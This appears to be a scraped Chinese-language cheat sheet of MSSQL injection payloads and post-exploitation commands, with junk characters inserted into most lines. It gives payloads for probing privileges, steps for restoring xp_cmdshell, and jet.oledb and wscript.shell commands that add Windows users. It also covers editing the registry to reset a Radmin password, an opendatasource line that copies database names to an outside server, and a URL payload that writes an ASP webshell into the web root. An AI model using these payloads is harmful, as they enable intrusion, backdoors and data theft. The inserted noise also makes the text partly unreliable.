//看看是什么权限的
# s. N3 u U5 c: xand 1=(Select IS_MEMBER('db_owner'))
' f; R0 P# {+ ^) y! ~; @; z0 jAnd char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--( Q) p* D! b9 s- b
' P4 g7 Q% g0 O( N$ O$ a O//检测是否有读取某数据库的权限
6 t# z U! W# i' `and 1= (Select HAS_DBACCESS('master'))
- t5 h0 O6 l u( R' ^( @7 XAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --0 z# t% p& W0 n& u- v
! y+ p, R! B1 M, X
G: G5 W% V: T7 O8 k4 A, M6 L数字类型
/ h+ C4 M- ?8 r2 t+ Hand char(124)%2Buser%2Bchar(124)=0$ w9 r2 I' q/ q( }- V/ U* H+ V
2 l4 D# _% p( W1 M
字符类型$ [3 k e8 _6 j) q5 i
' and char(124)%2Buser%2Bchar(124)=0 and ''='/ h+ `( w& z3 r9 m8 Z, x% g
1 z% X0 V6 o( `+ {2 E2 Z搜索类型9 ]$ R9 B/ W8 \4 I: z
' and char(124)%2Buser%2Bchar(124)=0 and '%'='
# p' \$ ?/ }$ _3 P( i6 G) O; c$ u* N) h! S; f
爆用户名) n2 U; @ p9 n, \: ~
and user>0
: R& g; r% W9 O3 y' and user>0 and ''=', O6 G+ [0 }! ^! A4 o
; O; q# z9 A* w" ?) b3 u2 ?0 g
检测是否为SA权限
( D$ [; ~, l6 I2 [% T& I1 Cand 1=(select IS_SRVROLEMEMBER('sysadmin'));--
0 W; v+ e1 M& Y/ `2 V) ^And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --0 B* m5 e) K& x
9 ?/ }/ N3 B* w& }: f& O0 E/ F
检测是不是MSSQL数据库8 m. s3 {! j" o% k' h$ F
and exists (select * from sysobjects);--3 C$ x& }- P' \: g! g
2 T# G% \- w l2 h, f- D8 M/ a5 e检测是否支持多行' ~! r7 V0 u. i! V
;declare @d int;--
6 g+ ?) d, G. G
. N( }0 j0 H8 ], `! |恢复 xp_cmdshell
5 ]0 Y Z# C0 u, S8 n5 X! E;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
n1 y2 l' I0 W9 D
! `/ D3 b* a8 \6 z+ O! g1 J- _, L5 x
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')# M6 E# I. w2 X. b) ], g
( Q) O& F0 l+ a
//-----------------------# E5 A8 n1 X3 ?/ i% e
// 执行命令
5 _# X+ v1 Y3 \, n0 H//-----------------------9 o0 m/ v' J" d) |/ B0 E$ v! [
首先开启沙盘模式:: O$ P! w/ M+ C) y/ O+ A
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
8 f4 C' x) a% S' W% J* k B7 ^6 d' v: |% u8 s$ ~
然后利用jet.oledb执行系统命令
+ K2 O0 K4 G2 a' `2 L9 N; Sselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'); I" M2 m+ I% M& v' W
% J) C$ D3 [ ?
执行命令
7 B( b A9 Z8 m$ ` C# l;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--6 [+ n4 M8 n% B; ?
5 w1 b8 }5 X8 tEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'+ l- B+ o$ e$ f( T t& z
4 w/ r6 i _( g0 l& q$ Q% z+ L! d% e2 l
判断xp_cmdshell扩展存储过程是否存在:* g/ u5 t; ?/ f, o& \/ X
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
5 D$ e3 U+ p$ p# t% _" M
7 Y! D, l: ^9 u0 ]写注册表6 }% [7 H( Z+ Z+ S, X$ R+ a
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',10 w, B1 \: J+ j2 b' C9 x
1 e' ?. W' k8 |+ j) _! uREG_SZ9 a: e$ [# v/ t1 x
5 J. T/ x" Z: j读注册表
; `# F* t( ~9 g2 T2 R' f: A- I' Uexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'3 j# _ ~1 O1 A q, v
. c+ h4 W# Q' S& z3 N
读取目录内容1 T8 E1 L/ B+ Y' R9 @
exec master..xp_dirtree 'c:\winnt\system32\',1,1& |; P, K( w9 `+ M2 \+ G- e
' Y: a; p$ U/ `8 O _+ _# [. b1 Z
S1 j! k" ~2 g: W# s3 y数据库备份
+ }- l% z. r3 n- M0 H e: _backup database pubs to disk = 'c:\123.bak'& n/ `' g/ Q' g1 j! |9 x
, G4 n. u: L" p5 L2 j//爆出长度
( O5 Y: Z/ }) z1 t! vAnd (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
4 e9 O7 m& q. S7 T6 F1 e7 |( s! L3 ^. m( Y3 v: y
- [4 R7 W# D+ a8 ~$ v$ V
" S' H! l( N9 Z: ?3 l1 y
更改sa口令方法:用sql综合利用工具连接后,执行命令:' e6 S. @' K$ G/ Q! r- u
exec sp_password NULL,'新密码','sa'6 F" P, @7 A: k7 h1 x2 N y I
7 }$ ]0 E; U; s8 H4 f
添加和删除一个SA权限的用户test:
6 u) G+ R' {, i- s H6 Z& ?8 Lexec master.dbo.sp_addlogin test,9530772
. Z' L+ C6 a; r) v" t: bexec master.dbo.sp_addsrvrolemember test,sysadmin* G) l& n9 o4 v6 s M
( f" @. M% u2 l
删除扩展存储过过程xp_cmdshell的语句:
( [9 @1 f* I) v8 Iexec sp_dropextendedproc 'xp_cmdshell'
7 I! \9 \; a' `7 w0 q$ M% H. M
' a* d! H0 [3 x& H+ D1 {, S9 p添加扩展存储过过程7 Z4 Q2 S; R/ t% ]# ?/ ~+ c
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'
2 u8 B! |& `6 L4 @- vGRANT exec On xp_proxiedadata TO public
% r4 W. V$ G- L1 r3 p+ Q, T9 _; g7 ^$ z" f4 C5 _1 r
7 D) m* U+ D9 `1 B' u
停掉或激活某个服务。6 L# O# `1 }6 a ^9 {- z9 ^
: v7 ?! g0 w$ Kexec master..xp_servicecontrol 'stop','schedule'5 K0 @( s( j" n' o% ~% B0 T/ t
exec master..xp_servicecontrol 'start','schedule'! ^; x3 u! G$ Q: b* p; A
1 R* p3 O' L6 fdbo.xp_subdirs
' v* H, ]- J- D' o: J+ h4 O: ]2 X! g( s! t) C9 X& l* O( L
只列某个目录下的子目录。. Z5 d/ x. K2 z) j: m. o- A
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp'
1 L& z& n+ Q3 z$ [2 F7 I* J! ?
$ x0 c+ P2 J. k Y6 m+ `. adbo.xp_makecab9 y0 A2 U; z8 j% d4 M3 o
) {9 C1 _6 i* g3 D/ i/ c将目标多个档案压缩到某个目标档案之内。8 m* o6 v# I' a1 }& R) }' {
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。
; P9 z% ]- K3 r1 D8 F; p( d/ a! A4 e* |0 u2 O& D
dbo.xp_makecab' i) W2 I' `/ r3 k, M2 I
'c:\test.cab','mszip',1,
" q8 Q: n& w3 `4 z, l# P'C:\Inetpub\wwwroot\SQLInject\login.asp',
4 Z3 ]! \& A$ p Y4 ]* K'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
$ W2 ]) \/ m9 n! L/ B1 A6 A1 t7 @& q# y1 D! }+ K- G
xp_terminate_process% ]5 Y% W9 p' ` B$ L+ @- D4 M
6 ?5 U$ x3 _& q& L
停掉某个执行中的程序,但赋予的参数是 Process ID。
9 a, u& X. r' l# M8 f9 n利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID& B% b) q- d! K1 |( G% f2 r8 c- W
/ u6 W$ j' y8 g& q
xp_terminate_process 2484
9 A- A7 L: o" t; S
9 ]* ~! ~8 G& X; Txp_unpackcab
0 Q: O; e& M1 D" n D R5 v6 N6 G: Q2 o7 d. _7 U, ~0 X9 u
解开压缩档。
; p- P# Q2 o+ v8 {% w7 y
2 }4 M& g! ]8 y& L% ?xp_unpackcab 'c:\test.cab','c:\temp',1+ @* }& ^. q' s E: k8 S$ Q) |
9 F3 b9 @; w1 Z0 v. C- f' g7 y$ C" {' k
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234; C1 l. e y0 l# b; F* R$ ^
3 k" E% }- G0 @' g }, F8 [create database lcx;5 h* u6 u3 i+ F( i8 l
Create TABLE ku(name nvarchar(256) null);
; t2 M2 E! X9 b7 X s# {Create TABLE biao(id int NULL,name nvarchar(256) null);: M% f( C/ |( S% U* s8 l( L
% a& w) u7 ~# P4 | {( a3 D& |1 h, U- C
//得到数据库名; R3 g" T6 E$ ~* ?8 c. e- P
insert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases" p& v1 J5 s8 @& l0 }
+ @; l" E& B! {9 C5 P0 Z
" j5 G0 @- b' D# e2 k W//在Master中创建表,看看权限怎样- ` I& J4 u5 E# G3 E
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--& X+ i8 J) o1 p: x6 H
( X) G. d/ P B% c% n8 Y2 ~, W用 sp_makewebtask直接在web目录里写入一句话马:
, H- `5 z$ ]7 R$ J6 Q. Dhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--6 d+ L8 K5 h" i- Z: R8 d+ J- ]
3 E. a* ~+ \- J9 U5 E$ f
//更新表内容
; C1 V% Y$ N; u7 _- |0 gUpdate films SET kind = 'Dramatic' Where id = 1231 v% f4 B* d) E w; w+ E
. k' D& X2 z' d% x1 G; l& u2 Q) a
//删除内容- ^- y6 O# W) @# ?4 ~" \
delete from table_name where Stockid = 3 |